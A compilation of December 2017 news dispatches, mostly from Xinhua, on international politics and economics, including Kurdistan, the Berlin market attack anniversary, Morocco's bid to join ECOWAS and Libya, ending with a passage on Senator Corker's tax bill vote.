Tensions have been running high between Baghdad and the region of Kurdistan after the Kurds held a controversial referendum on the independence of the Kurdistan region and the disputed areas on Sept. 25.

The independence of Kurdistan has been fiercely opposed by the Iraqi central government.
Source: Xinhua| 2017-12-20 03:48:24|Editor: yan

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RIGA, Dec. 19 (Xinhua) -- The Latvian government has decided to acquire shares in Conexus Baltc Grid gas transmission and storage operator in order to gain control over the strategic underground gas storage facility in Incukalns outside Riga, the Economics Ministry said Tuesday.

On Dec. 15, Latvian state-owned power transmission system operator Augstsprieguma Tikls clinched a deal with German energy company Uniper Ruhrgas International to purchase 18.3 percent of Conexus Baltic Grid shares currently owned by the German company. The price and other details of the transaction have not been disclosed.

The Latvian government is holding talks with Russian gas giant Gazprom and Itera Latvija natural gas dealer, which together own most of Conexus Baltic Grid shares.

Latvia wants to take over the Incukalns natural gas storage facility to pave the way for the creation of a single Baltic gas market.

Representatives of the Economics Ministry explained that the controlling stake in Conexus Baltic Grid is needed if Latvia is to ensure its energy independence.

Latvia, which opened up its gas market to free competition this past April, is also expected to split up its gas monopoly Latvijas Gaze to comply with EU laws.

Latvijas Gaze will keep selling natural gas, but its shareholders -- Gazprom, Itera Latvija and Uniper -- are required to sell off their shares in Conexus Baltic Grid by December 31, 2017. The Latvian government now wants to take control of the gas storage facility.

Latvian Economics Minister Arvils Aseradens said that the acquisition of the gas storage facility would be a step closer to the creation of the single Baltic and Finnish gas market by 2020.
U.S. President Donald Trump (L) and British Prime Minister Theresa May (R) attend the handover ceremony of the new NATO headquarters during a one-day NATO Summit, in Brussels, Belgium, May 25, 2017. (Xinhua/Ye Pingfan)

LONDON, Dec. 19 (Xinhua) -- British Prime Minister Theresa May spoke with U.S. President Donald Trump in a telephone call on Tuesday afternoon for the first time since a dispute over Trump's tweets at the end of last month.

A Downing Street spokesperson said May called Trump earlier in the afternoon and began by offering her condolences over the loss of life in the terrible train derailment in Washington state.

The spokesperson said May and Trump discussed the different positions the two countries took on the recognition of Jerusalem as the Israeli capital, and agreed on the importance of the United States bringing forward new proposals for peace and the international community supporting these efforts.

May also raised Yemen, highlighting Britain's ongoing deep concerns at the humanitarian situation. The two leaders agreed on the vital importance of reopening humanitarian and commercial access to prevent famine and alleviate the suffering of innocent Yemenis.

"The Prime Minister updated the President on the recent good progress of the Brexit negotiations, and the President set out the progress he had made on his economic agenda. They agreed on the importance of a swift post-Brexit bilateral trade deal," said the spokesperson.

The "special relationship" between Trump and May has suffered in recent weeks following the U.S. president's decision to retweet a series of videos posted by Jayda Fransen, deputy leader of far-right group Britain First.

But during this afternoon's phone conversation, the two leaders did not discuss the Britain First controversy. The spokesperson said "they wished each other a very Merry Christmas and looked forward to keeping in close touch."
Source: Xinhua| 2017-12-20 03:58:26|Editor: yan

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BERLIN, Dec. 19 (Xinhua) -- The existing system under which German universities admit students to medicine degrees is unconstitutional, a ruling by the Federal Constitutional Court on Tuesday has found.

The widely-publicized verdict by the Karlsruhe-based court forces state academic institutions in Germany to develop a new means of selecting applicants which does not contradict the constitutional right of equal participation in public education.

While the judges did not reject the principle of awarding places based on a combination of A-level results, waiting lists and direct selection by the respective universities, they concluded that this process would have to occur within a federally-standardized system.

Federal and regional governments have until December 31, 2019 to agree on new regulations which address the issue.

The Federal Constitutional Court emphasized that good A-Level grades could not be the only criteria taken into account when determining which applicants were suitable for careers in medicine. Social skills and relevant work experience, for example as paramedics, should also form part of considerations for admission.

Hubertus Heil, co-leader of the German Social Democrats' (SPD) parliamentary faction expressed his support for a corresponding reform. "The A-level grade remains an important indication, but in the future the individual talent and appropriate earlier education must become more important", Heil told press.

On average, there are currently five applicants for every place to study medicine in Germany. Admissions criteria vary considerably across the country, but applicants must indicate a preference of up to six institutions where they intend to pursue their studies. As a consequence, students who would have fulfilled the necessary conditions for entry at other universities can still be left without a place and find themselves in a situation in which they spend several years on waiting lists.

Although the Federal Constitutional Court did not name an exact number, it demanded for a shorter temporal limit to be imposed on how long individuals could remain on waiting lists.

Speaking to the newspaper "Rheinische Post", Education Minster Johanna Wanka (CDU) said that the ball now lay in the court of the Federal Parliament whose task was to translate the ruling into legislation as quickly as possible.

Representatives from academic and medical associations largely welcomed the news. Horst Hippler, president of the German Rectors' Conference, said that limiting time on waiting lists was a sensible way to enable applicants to plan their futures more transparently and realistically.

Similarly, Frank Ulrich Montgomery, president of the German Medical Association, described the verdict as "the right sign at the right time."
Source: Xinhua| 2017-12-20 04:33:35|Editor: yan

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ADDIS ABABA, Dec. 19 (Xinhua) -- Ethiopian President Mulatu Teshome on Tuesday called for strengthened relations with China and four other European and African countries.

Teshome made the call when he received copies of credentials of newly appointed ambassadors of China, Guinea-Bissau, Israel, Italy and The Gambia to Ethiopia, according to the Ethiopian Ministry of Foreign Affairs.

"Ethiopia wants to open a new chapter in relations with your respective countries," the ministry indicated in a statement issued on Tuesday quoting Teshome as saying.

"Ethiopia is desirous the relations to center more on business and economy, on top of political diplomacy," Teshome told the five incoming ambassadors.

According to the Ethiopian Ministry of Foreign Affairs, the ambassadors for their part also vowed to cement the ties their respective countries established with Ethiopia, particularly in the areas of trade, agriculture, tourism and investment.

In a recent interview with Xinhua, the newly appointed Chinese Ambassador to Ethiopia, Tan Jian, had also hailed the relationship between Ethiopia and China as a role model for the South-South cooperation.

"The relationship between Ethiopia and China is based on comprehensive, strategic and cooperative partnership in all areas and at all levels," he said.

Describing the economic cooperation as the basis, Tan also stressed cooperation in the human resource development sector and the science and technology field.

"The bond between the two peoples is very important and it should be the foundation for the relationship between China and Ethiopia," Tan said.

In the past two decades, Chinese companies have invested close to 4 billion U.S. dollars in Ethiopia. The bilateral trade volume reached 6.37 billion dollars in 2015.

Ethiopian Foreign Affairs Minister, Workneh Gebeyehu, in his recent meeting with Tan also called for strengthening the socioeconomic partnership between the two countries.
Photo taken on Dec. 19, 2017 shows a view of memorial crack to commemorate the 1st anniversary of the attack on a Christmas market at Breitscheidplatz of Berlin, capital of Germany. (Xinhua/Shan Yuqi)

BERLIN, Dec. 19 (Xinhua) -- The German government on Tuesday asked victims for forgiveness as Berlin commemorates the first anniversary of a deadly terrorist attack on a Christmas market in the capital.

Officials needed to "do things better, which were not done well" a year ago, German Chancellor Angela Merkel said in a speech.

Similarly, German President Frank-Walter Steinmeier raised the question of whether "we are really doing everything that we can, within the confines of democracy and the rule of law, to prevent terrorist attacks"?

Steinmeier urged authorities to "clarify omissions" in their investigations into the attack and "learn from mistakes".

Anis Amri, a Tunisian national with radical Islamist views, killed a total of 12 people and injured around 100 others when he drove a truck into a crowd of pedestrians at the Breitscheidplatz Christmas market on Dec. 19, 2016.

A few days later, Amri was shot dead by police in Italy while seeking to escape from security forces in a Europe-wide manhunt.

Since then, many of those affected in the attack have complained about a general lack of support, difficulties in contacting responsible officials and slow decision-making processes.

Additionally, questions still remain as to whether European police forces coordinated well enough, or could have even prevented the attack, given that Amri was known by authorities to be potentially violent.

"We were not adequately prepared to deal with the implications of such an attack for those affected by it," German Justice Minister Heiko Maas told the newspaper Tagesspiegel.

Maas wrote that his government consequently "owed an apology to the victims and their surviving loved ones".

The minister voiced his support for initiatives proposed by Kurt Beck, the specially-appointed Commissioner for Victims, to improve financial assistance for individuals injured in the attack and victims' families, as well as creating a centralized coordination unit within the federal government which people could turn to in the event of future terrorist incidents.

Several events are scheduled for Tuesday in Berlin which will include the unveiling of two physical structures to mark the date.

A 17-meter golden crack in the ground has been created to symbolize the deep rupture in the lives of victims and their relatives, while the names of the 12 people left dead have been engraved on the steps of the Kaiser-Wilhelm Memorial Church overlooking the Christmas market.

In a stark reminder of the persistent threat of terrorism, memorial services throughout Berlin are being safeguarded by a large contingent of special forces armed with machine guns.

A vigil is being held in the Kaiser Wilhelm church which all citizens are invited to attend. The church bells will ring twelve times at 8:02 p.m. local time (1902 GMT), the exact time of the attack.

A year on, it appears, Amri's lethal rampage has inspired both fear and defiance in Germany.

On the one hand, the streets of Berlin are bustling with Christmas shoppers again and the re-opening of the Breitscheidplatz Christmas market may itself be seen as a powerful symbol that terrorists have failed to scare inhabitants of the German capital into submission.

On the other hand, however, the successful entry into Federal parliament of the Alternative for Germany (AfD) in September has sometimes been attributed to growing unease among voters over the arrival of more than one million predominantly Muslim refugees since 2015.

Merkel and other German politicians have also looked with worry to neighboring Austria, where the nominally-centrist new Chancellor Sebastian Kurz has formed a coalition government with the ring-wing populist Freedom Party in Vienna.

Despite emphasizing his pro-European credentials, Kurz struck a decidedly-illiberal pose on immigration by vowing to slash government benefits for foreigners in Austria during his successful campaign.

Merkel is reportedly concerned that politicians in other European countries could seek to emulate Kurz' example, unleashing a populist wave on the continent.

Further highlighting the increasing confidence of political forces which are openly xenophobic in the German public sphere, the far-right "Identitarian Movement" attempted to install plaques commemorating "the victims of Islamist terror" at Berlin's landmark Brandenburg Gate where the official memorial service was being held.

The movement claimed responsibility for the plaques on social media which they said constituted a "European memorial for the victims of multiculturalism and Islamist terrorism".

Berlin police subsequently removed the plaques a few hours after they were installed.
Source: Xinhua| 2017-12-20 04:58:43|Editor: yan

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GENEVA, Dec. 19 (Xinhua) -- Swiss Foreign Minister Ignazio Cassis on Tuesday expressed disagreement with the European Union over the way it is expected to recognize its stock exchange compared to other international markets.

According to Swiss media, the European Union has overhauled its markets in financial instruments directive, which comes into effect on Jan. 3. The financial equivalence mechanism, which allows for cross-border trading on equal terms for Switzerland, was reportedly approved by EU countries but with a conditional limit of one year.

A lack of so-called "equivalence" would inhibit EU investors in Swiss equities and Swiss stock exchanges, observers note.

If nothing changes, the implication could be that the Swiss stock exchange would lose its equivalence with its European counterpart on Dec. 31, 2018, Swiss media reported.

On Tuesday, Cassis said a conditional one-year limit should not be placed on the financial equivalence of Swiss and European stock exchanges.

"Switzerland's position is clear -- it expects the European Union to recognize financial equivalence... by Jan. 3 at the latest," Cassis said.

He told his French counterpart Jean-Yves Le Drian that he is "dissatisfied with the progress of this dossier".

The Swiss Federal Council, the national executive body, had rejected a one-year clause during European Commission President Jean-Claude Juncker's visit to Bern on Nov. 23, Cassis added.

"Switzerland expects financial equivalence to be guaranteed the day the Swiss stock exchange opens," said Cassis, "If this is not done or if there are conditions that Switzerland doesn't judge legitimate, the government will take decisions."
Source: Xinhua| 2017-12-20 05:08:45|Editor: yan

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ROME, Dec. 19 (Xinhua) -- Austrian Chancellor Sebastian Kurz on Tuesday appeared to downplay tensions with Italy over a proposal by his new government to offer passports to German-speaking residents of the northern Italian province of Alto Adige.

The proposal sparked alarm in Italy over what is being seen as an attempt to sow division in the ethnically diverse province, which is largely German-speaking.

However Kurz said he has "excellent contacts with Rome" and that he is certain the issue of the double passports will be cleared up in a positive way, ANSA news agency reported.

The plan would only be implemented "in close cooperation with Italy and the Rome government," ANSA cited Kurz as saying.

He reportedly added that the double passport proposal was made based on requests from provincial authorities in Alto Adige, which is also known by its German name South Tyrol.

Kurz, aged just 31, is the leader of the conservative Austrian People's Party and is governing in coalition with the far-right, anti-immigrant and eurosceptic Freedom Party.

In a recent tweet, the newly seated Austrian chancellor wrote that "the new Austrian government will be clearly pro-European and committed to making a positive contribution to the future development of the EU."

Kurz made a name for himself last summer while serving as Austrian foreign minister, when along with the defence minister he threatened to send troops to the Brenner Pass, a key border crossing into Italy, to keep migrants from entering Austria. The threat prompted Italy to summon the Austrian ambassador for talks last July.

Italy faces continuous asylum-seeker arrivals as thousands of men, women and children fleeing war and famine in North Africa and the Middle East embark on unseaworthy boats run by human traffickers.

The immigration is a major issue on European voters' agenda.
Source: Xinhua| 2017-12-20 05:18:48|Editor: yan

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RABAT, Dec. 19 (Xinhua) -- Morocco flatly condemned the firing on Tuesday of a ballistic missile by the Houthi militia against populated zones in Saudi capital Riyadh.

"The Kingdom of Morocco reiterated its unwavering solidarity with the brotherly Kingdom of Saudi Arabia in its fight against anything that could undermine the security of its territories and disturb its populations," Morocco's foreign ministry said in a statement.

Morocco also voiced its deep concern over this dangerous escalation which further worsens the Yemeni crisis, undermines the region's stability and increases the sufferings of the brotherly Yemeni people, the statement added.

Earlier on Tuesday, Saudi Arabia accused Iran of trafficking missiles to Yemen, indicating that the missile intercepted 25 km away from Riyadh was made in Iran, Al Ekhbariyal local news channel reported.

The missile targeted a residential area south Riyadh and it was intercepted before causing any injuries or damage, the coalition spokesperson, Brigadier Turki Al Maliki, said.
Source: Xinhua| 2017-12-20 05:23:49|Editor: yan

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ANKARA, Dec. 19 (Xinhua) -- Turkish security forces detained 51 suspects linked to the Kurdistan Workers' Party (PKK) in western Izmir province, state-run Anadolu Agency reported on Tuesday.

The counterterrorism operation was launched by police in coordination with the National Intelligence Organization in five districts of Izmir province.

Security forces captured documents and digital equipment as well as a shotgun during the raids.

A total of 65 arrest warrants were issued by Izmir's Chief Public Prosecutor's Office as the part of national anti-terrorism efforts.

Last week, 148 PKK members were arrested, according to a statement released by Turkey's Interior Ministry on Monday.

A senior PKK member Murat Dag, who is on the Turkish Interior Ministry's list of most wanted terrorists with a bounty of 1 million lira (260,000 USD), was also killed.

The PKK, listed as a terrorist organization by Turkey, the U.S., and the EU, resumed its 30-year armed campaign against the Turkish state in July 2015 after a brief reconciliation period.
Source: Xinhua| 2017-12-20 05:28:50|Editor: yan

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TRIPOLI, Dec. 19 (Xinhua) -- UNHCR on Tuesday said that 330 illegal immigrants have been deported from Libya to Niger and Italy.

"Last week, 160 refugees have been deported to Niger and 170 others to Italy, in order to resettle them in other countries," Roberto Mignone, UNHCR representative in Libya, said in a press conference in the Libya capital Tripoli.

"Altogether 44,306 refugees and asylum seekers have been registered in Libya," said Mignone, revealing that 1,024 migrants have been released from detention centers in Libya.

"We are working to put an end to the detention of migrants and asylum seekers in Libya. We call for finding alternatives for detention. We are seeking to find permanent solutions, such as resettlement and voluntary return to countries of origin," Mignone said.

He also said that the UNHCR is planning to repatriate 1,000 migrants from Libya by January and deport 5,000 to 10,000 others in 2018.

"The illegal immigrants targeted for the repatriation plan are from seven countries: Palestine, Iraq, Syria, Eritrea, Sudan, Somalia, and Ethiopia," Mignone revealed.

Libya is a major departure point for illegal immigrants wanting to cross the sea towards European shores, due to the state of insecurity and chaos in the North African nation.
Source: Xinhua| 2017-12-20 05:28:51|Editor: yan

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WASHINGTON, Dec. 19 (Xinhua) -- U.S. President Donald Trump on Tuesday made phone calls to Uzbek President Shavkat Mirziyoyev and British Prime Minister Theresa May respectively, with the aim to advancing bilateral ties with the two nations.

According to two separate announcements of the White House, Trump and Mirziyoyev discussed regional security and explored opportunities for improved cooperation. The two leaders also discussed Uzbekistan's role in Central Asia, including its support for Trump's South Asia strategy and United States efforts in Afghanistan.

In another call with May, the two leaders discussed new steps in forging peace in the Middle East, emphasizing the urgency of addressing the humanitarian crisis in Yemen.
Source: Xinhua| 2017-12-20 05:43:57|Editor: yan

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HAVANA, Dec. 19 (Xinhua) -- China will bring the best of its literature and culture to Cuba 2018 International Book Fair to strengthen bilateral cultural ties, Yao Fei, political counselor of the Chinese embassy in the island said on Tuesday.

"We will bring the best of China to present it to the Cuban and international public and with this participation we want this edition of the Cuban book fair to be brilliant, splendid and very successful," Yao said at a press conference organized to present the coming edition of the literary event.

This 27th edition of the book fair, with China as the nation guest of honor, will take place between February 1 and 11 of next year at its usual site in the Morro Cabana park in eastern Havana and 22 other cultural venues in the Cuban capital.

According to the diplomat, Beijing has always placed high importance on its cultural ties with Cuba, and the Ministry of Culture and the State Administration of Press, Publication, Radio, Film and Television of China is working hard to ensure a satisfactory participation in the book fair.

"During the book fair, an official editorial delegation will come from China, a high-level artistic group, a delegation of the most important publishing houses in the country and a group of the most prestigious writers of modern China," said Yao.

He also informed that Chinese writers and artists will participate in various cultural activities, book presentations and exchange of opinions and experiences with professionals and readers from Cuba and other countries.

Actions will be organized in promotion of Chinese culture, with a large exhibition of books from China, Chinese classical texts translated into Spanish and Cuban works translated into Mandarin and an exhibition on the ancient Chinese technique of printing.

"There will be a meeting between Chinese writers and Cuban readers, we will have a week of Chinese films and we will offer a great artistic show of very high level at Havana's Grand Theater," the diplomat said.

China's pavilion in the literary event will have a wide range of texts such as governance, the development of modern society, traditional cultures, the daily life of the people, Chinese language, science, technology, education, among others.

According to Juan Rodriguez, president of the Cuban Book Institute (ICL) and the fair's organizing committee, so far 318 invited authors, intellectuals and exhibitors from 31 countries will attend the event.

He added that 17 nations will have spaces for sale and exhibition of books and 133 foreign publishing houses will participate.

"This year is a luxury and good coincidence because the fair is dedicated to a great country like China and an intellectual as important to our country as the historian of Havana, Eusebio Leal," said Rodriguez.

The Book Fair is the most important and massive cultural event that is celebrated in Cuba every year and after its culmination in the capital it will reach every province of the country.
Source: Xinhua| 2017-12-20 05:48:59|Editor: yan

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DOHA, Dec. 19 (Xinhua) -- The key projects in Qatar had been delayed due to the lack of inventory construction materials and other sources of imports, an International Monetary Fund (IMF) report said, reported local media Tuesday.

The report also mentioned that Qatar has developed shipping routes with Kuwait and Oman for alternative food supplies to ease fear of shortage.

In June, Saudi Arabia and the United Arab Emirates (UAE) led Bahrain and Egypt in closing airports and seaports to Qatar, claiming it fostered terrorism. Doha denies this but is isolated from the leading Gulf Cooperation Council (GCC) powers.

Despite the embargo, Qatar succeeds in diversifying its source of imports and external investors, the report said.

Over the past three years, oil growth has remained stagnant, report said.

Meanwhile, Qatar looks for reform of the private sector growth to help public sector economy to flourish.
Source: Xinhua| 2017-12-20 05:49:01|Editor: yan

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ROME, Dec. 19 (Xinhua) -- A former member of an extreme-right organization who was sentenced to life in prison for a deadly 1974 bombing has been extradited to Italy from Portugal, local media reported Tuesday.

Maurizio Tramonte, now in his mid-60s, is a former member of the neo-fascist group Ordine Nuovo (New Order) and a former secret service informant.

He has been found guilty of the May 28, 1974, bombing at a peaceful demonstration in nothern town of Brescia by teachers and labor unions that killed eight people and wounded 102 more. "I thank the Portuguese authorities for their collaboration," Italian Justice Minister Andrea Orlando tweeted Tuesday.

Tramonte's extradition "is an act of justice which we had promised to the families of the victims."

The anti-terrorism unit of Italy's Carabinieri police tracked Tramonte down earlier this year in Portugal, where he was arrested. He was escorted to Rome's Fiumicino Airport, where he landed in the early afternoon, according to ANSA news agency.

In June this year, a court found Tramonte and another former neo-fascist, Carlo Maria Maggi, guilty of planning and executing the bloody attack. Maggi, who is in his 80s and too sick to be jailed, was granted house arrest in his native Venice. Tramonte will likely serve out his term behind bars.

The Brescia bombing was one of several attacks, kidnappings and assassinations carried out by both right-wing and left-wing groups in Italy from the late 1960s to the late 1970s, a period of turmoil which Italians have dubbed the "years of lead".
Source: Xinhua| 2017-12-20 05:59:03|Editor: yan

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ANKARA, Dec. 19 (Xinhua) -- Turkish Justice Minister Abdulhamit Gul said on Tuesday that the U.S. trial of a former Turkish banker, charged with helping Iran evade U.S. sanctions, is of "no legal validity."

In an interview with the Turkish broadcaster Kanal 24, Gul said the trial of former senior manager of state-run Halkbank Mehmet Hakan Atilla in New York had "no legal validity."

It would be impossible to accept a verdict contrary to Turkey's interests in the case, which has strained ties between the NATO allies, Gul said.

Recent developments in the case and the cross-examinations showed that "the case has actually collapsed," he added.

Atilla, the former deputy CEO of Halkbank, was arrested in the United States earlier this year on charges of violating U.S. sanctions against Iran.

In a letter to U.S. Attorney General Jeff Sessions earlier this week, Gul criticized that the case "serves the purpose of completing an unfinished operation of a terrorist organization against Turkey," referring to Gulen network, accused by Ankara of orchestrating the defeated coup on July 15, 2016.

Gul said he had yet to receive a response from the United States to his letter.
Source: Xinhua| 2017-12-20 06:09:06|Editor: liuxin

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BEIRUT, Dec. 19 (Xinhua) -- The European Union's High Foreign Policy Chief Federica Mogherini reaffirmed Tuesday the European Union's strong support for Lebanon in the wake of the November political crisis.

Mogherini met with Lebanon's President Michel Aoun, Parliament Speaker Nabih Berri, Prime Minister Saad Hariri and Foreign Minister Jebran Bassil.

Aoun told the EU official that Lebanon appreciates the European Union's support and hopes its member states will participate effectively in global conferences aimed at supporting the country.

The president also reiterated his call for "a safe and gradual return for refugees to safe areas in Syria," noting that "there are no indications that there will be a political solution anytime soon."

Mogherini congratulated Aoun on the role he played during the crisis that followed Prime Minister Saad Hariri's shocking resignation announced from Riyadh, lauding his ability to preserve stability despite difficult situations.

Hariri announced his resignation in a televised speech from the Saudi capital Riyadh on Nov. 4. Aoun insisted the resignation be submitted to him in person.

Upon Hariri's return to participate in the National Day celebration, he met with Aoun and said that he is postponing the resignation upon the request of the president.

Hariri withdrew his resignation on Dec. 4 after all the parties represented in his government agreed on a statement disassociating Lebanon from the regional conflicts.

Following talks with Berri, Mogherini applauded the speaker's efforts during the crisis and the national unity that was demonstrated by the Lebanese.

Berri meanwhile thanked the EU over its "stances on Lebanon and the Palestinian cause, particularly Jerusalem," reported the National News Agency.

"Berri and Mogherini expressed identical viewpoints on the importance of achieving a political solution in Syria that would be in the interest of the region and Lebanon," the report added.

Mogherini expressed "satisfaction" at Hariri's return to Lebanon and said the EU expects full implementation by Lebanese parties of the dissociation policy aimed at insulating the country from regional conflicts.

At a joint press conference with Mogherini, Hariri emphasized that his priority is to "protect Lebanon and the Lebanese people from the regional flames."

An EU statement said the senior EU official would "reaffirm strong partnership and continued EU support to Lebanon's stability, security and prosperity."

The EU High Representative's second visit this year shows "the EU's strong and long-standing partnership with Lebanon," the EU delegation said in a statement.

The European Union will continue to "support Lebanon in meeting the challenges that lie ahead and remains committed to the country's unity, sovereignty and territorial integrity," the statement added.
Source: Xinhua| 2017-12-20 06:14:07|Editor: yan

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ABUJA, Dec. 19 (Xinhua) -- More than 25,000 Nigerians have been held in slave and sex camps in Libya, Nigeria's National Agency for the Prohibition of Trafficking in Persons (NAPTIP) said on Tuesday.

So far, only about 5,000 of the victims were repatriated with the assistance of the International Organization for Migration (IOM) and the European Union, said Julie Okah-Donli, Director General of NAPTIP.

According to the official, the recent trend, which marked the resurgence of the slave trade, was more alarming and required more attention in the world.

She said Nigeria would consistently put the issue of human trafficking at the center of global discourse at various international fora and that the country would work to strengthen national response to irregular migration.

Early December, the Nigerian government said it had identified 2,778 of its citizens languishing in detention camps in Libya.

The Nigerian government vowed to make the repatriation of its citizens a continuous exercise, as the embassy in Libya will continue to engage the Lybian government and other stakeholders in addressing the plight of Nigerian migrants in that country.
Source: Xinhua| 2017-12-20 06:19:11|Editor: yan

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RABAT, Dec. 19 (Xinhua) -- The Islamic Educational, Scientific and Cultural Organization (ISESCO) on Tuesday strongly denounced the Houthi missile attack against Saudi Arabia's capital Riyadh.

ISESCO Director General, Abdulaziz Othman Altwaijri, accused in a statement the Houthi militias' attack as a criminal act that targeted the security and safety of citizens and civil facilities.

This attack requires an international position to deter these terrorist militias and their supporters, the statement said.

ISESCO called on the international community to urgently take the necessary measures to stop these terrorist acts and enable the legitimate government to fulfill its duties and restore peace and security to Yemen.
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The 52nd summit of the Economic Community of West African States (ECOWAS) wrapped up with a political decision regarding Moroccos membership providing for the setting up of a committee to further study the impact of the admission of the North African Kingdom in the economic bloc.

The committee will be presided by the heads of state of Togo, Cote dIvoire, Guinea and Nigeria who will determine the terms of reference for the impact study on Moroccos membership request as well as granting Tunisia an observer status and admitting Mauritania as an associated member.

Although it was depicted as a technical study, the fact that the heads of state themselves are in control reflects the salient political dimensions presiding Moroccos membership in the ECOWAS.

In a comment on the setting up of such a committee at the heads of state level, a diplomat told Moroccos le360 news website, that this decision reinforces Moroccos position as a country that champions south-south cooperation as a strategic lever for developing West African countries. The composition of the committee is balanced as Morocco maintains close ties with the heads of state who will decide on Moroccos ECOWAS membership, the diplomat said.

Prior to joining the African Union by the end of 2016, the Moroccan monarch visited all ECOWAS countries to the exception of Togo. The visits featured the launch of several development projects, including the largescale fertilizers factory in Nigeria as well as the gas pipeline that will channel Nigerian gas to Morocco, benefiting Atlantic ECOWAS countries.

Moroccos economic ties with Cote dIvoire, Guinea, Senegal and Mali are often described as excellent, bolstered by centuries-old ties and increasing investments by Moroccan companies operating in the sectors of banking, finance, telecommunications, tourism, education and agriculture.

Moroccos membership request was accepted in principle by ECOWAS heads of state at a June 4 summit in the Liberian capital, Monrovia.

The admission of Morocco to the ECOWAS sub-region will make it the second largest economy after Nigeria. Thanks to its geographic location and trade agreements with the EU, Turkey, the US and several Arab countries as well as its port and airport hubs, Morocco will offer West African countries a gateway to new markets.

With the inclusion of Morocco, the ECOWAS will bolster its aggregated GDP to the 16th rank globally ahead of Turkey and right after Indonesia.
Right after renegade general Khalifa Haftar declared the UN-brokered Skhirate Agreement obsolete, Libyas neighbors, Tunisia, Algeria and Egypt expressed support for the UNs efforts to settle the infighting in the country.

In a statement issued following a tripartite meeting, bringing together the foreign ministers of Tunisia, Algeria and Egypt, the three countries stressed that the Skhirate Agreement, signed in Morocco on 17 December 2015, represents an indispensable basis for settling the Libyan crisis.

The ministers stressed the need for coordinated efforts between Egypt, Tunisia and Algeria to meet the continued danger posed by terrorist groups operating in Libya, especially at a context marked by the retreat of IS in the Middle East and the increasing return of foreign fighters to the Libyan front.

The three countries reaffirmed their rejection of any foreign interventions in Libyan internal affairs, as well as all forms of escalation or hindrance to the political process in the country, read a statement issued by the Foreign Ministers following their meeting on Sunday.

The statement stressed the central role of the UN and its political and legal responsibility as the sponsor of the Libyan political dialogue, calling upon all Libyan parties to prioritize national interests and to enter in a dialogue in order to end the transitional period as soon as possible.

The main outcome of the Skhirate Agreement was the setting up of the government of national accord (GNA) for a one year-term, renewable only once.

That governments tenure has ended on Sunday. The UN Security Council has stressed that the Skhirat Agreement should remain the only framework to resolve the current crisis in Libya, until the holding of the general elections next year.

The 17th of December has arrived and brought with it the end of the so-called Skhirat agreement, Haftar, who never recognized the authority of the GNA, said in a televised appearance on Sunday night

Therefore all institutions created by this agreement are void, he added.

Following the speech, Haftars supporters in Benghazi took to the streets demanding the general take over after the GNA missed what they said was a self-imposed deadline on Sunday.

In Tripoli, an unknown armed faction opened fire in the air to disperse some 150 supporters of Haftar on the central martyrs square, according to press reports. Nobody was hurt.
King Mohammed VI is expected in Guinea Conakry on December 20, in a second visit in 2017.

During his friendship and working visit to Conakry, the King will hold talks with Guinean President Alpha Conde, the current Chairman of the African Union.

The two leaders will inaugurate several projects that were launched during the Kings previous visit to the West African country, notably those relating to vocational training in construction jobs and tourism.

During the Kings previous visit to Conakry last February, Morocco and Guinea added yet another milestone to their longstanding cooperation ties with the signing of eight cooperation agreements covering notably urban planning and agriculture.

The West African country is part of the Africa Atlantic Pipeline project, which will catalyze regional integration and boost energy security by channeling Nigerian gas through the Atlantic coast up to Morocco and maybe to Europe.
Moroccos Khalladi wind power plant, built in the North of the Kingdom, has started producing its first electricity, which it injected into the local power grid.

The wind farm, developed by ACWA Power in collaboration with ARIF investment fund, is the first private renewable energy project in the country. It has been developed under a renewable energy law that allows private producers to sell electricity directly to clients connected to the high voltage and medium voltage grid, mainly industrial companies.

Morocco, which seeks to reduce its dependence on energy imports, wants to develop 2,000 MW of wind capacity by 2020. The renewable energy produced is expected to reduce greenhouse gas emissions of over 200,000 tons of CO2 per year.

Morocco aims to produce 42 pc of its electricity needs from renewable energy sources by 2020. In recent years, the authorities have accelerated the development of large-scale wind farms across the kingdom by increasing the focus on private investment.

The early developments of wind farms in the North African Kingdom date back to the year 2000, when a first 50-MW plant was completed in Koudia El Baida near Tangiers by Compagnie Eolienne du Detroit under a license agreement with the National Office of Electricity and Potable Water (Office National de l Electricite et de lEau Potable, ONEE).

This first step has been followed by the completion of two additional plants by ONEE in Essaouira (60 MW) and Tangiers (140 MW) in the 2000s  and a first private deal between Spanish company Gamesa and the cement company Lafarge in 2005 to equip its plant in Tetouan with 37-MW windmills.

But, Moroccos wind market really took off following the implementation of Law No. 13-09, which paved the way for the liberalization of high-voltage power generation. Since then, Moroccan company Nareva has risen rapidly to become the major player in the development of private wind energy projects. Its three wind farms at Akhfennir, Foum El Ouad and Houama have a combined capacity of 200 MW, with energy distributed via power purchase agreements (PPAs) with major companies, including Lafarge Maroc, Sonasid, OCP and Managem.
King Mohammed VIs visit to Guinea Conakry was postponed until January 2018 instead of December 20, Moroccan media reported.

This friendship and working visit to Conakry is the third by King Mohammed VI since President Alpha Conde took office.

During his stay in Conakry, the King will hold talks with Guinean President Alpha Conde, the current Chairman of the African Union.

The two leaders will inaugurate several projects that were launched during the Kings previous visit to the West African country, notably those relating to vocational training in construction jobs and tourism.

During the Kings previous visit to Conakry last February, Morocco and Guinea added yet another milestone to their longstanding cooperation ties with the signing of eight cooperation agreements covering notably urban planning and agriculture.

The West African country is part of the Africa Atlantic Pipeline project, which will catalyze regional integration and boost energy security by channeling Nigerian gas through the Atlantic coast up to Morocco and maybe to Europe.

However, if the main goal is to give a new momentum to bilateral cooperation, the agenda of the royal visit also includes topics related to multilateral cooperation in the region.

In this connection, the two leaders will discuss ways to strengthen ties among the members of ECOWAS, where Mo-roccos membership request was accepted in principle at the organizations summit last June.

President Alpha Conde is one of the five heads of State who have been entrusted at ECOWAS 52nd summit, held in Abuja over the weekend, to further study the impact of the admis-sion of the North African Kingdom in the economic bloc.

The other members of the committee are Cote dIvoire, Gha-na , Nigeria and togo.

A special session is scheduled to be held in 2018 to enact Moroccos membership within this influential regional grouping.
Fill the swamp. Photo: Saul Loeb/AFP/Getty Images

Earlier this month, Bob Corker believed that the Republican tax bill was unconscionably reckless. The Tennessee senator had spent a decade decrying the rapidly growing national debt as the greatest threat to our nation  and months vowing to vote against any tax-cut legislation that added one penny to that sum. So, when he learned that the Tax Cuts and Jobs Act would add over $1 trillion to the deficit, Corker decided to take a lonely stand against it.

Two weeks later, Republican leaders in the House and Senate unveiled their final, consensus tax-cut legislation. The bill was nearly identical to the one Corker had voted against, except that it added even more money to the deficit  and included a special tax break for real-estate investors that would increase Bob Corkers personal income by up to $1.2 million a year.

On Friday afternoon, Corker announced that he would vote for the bill.

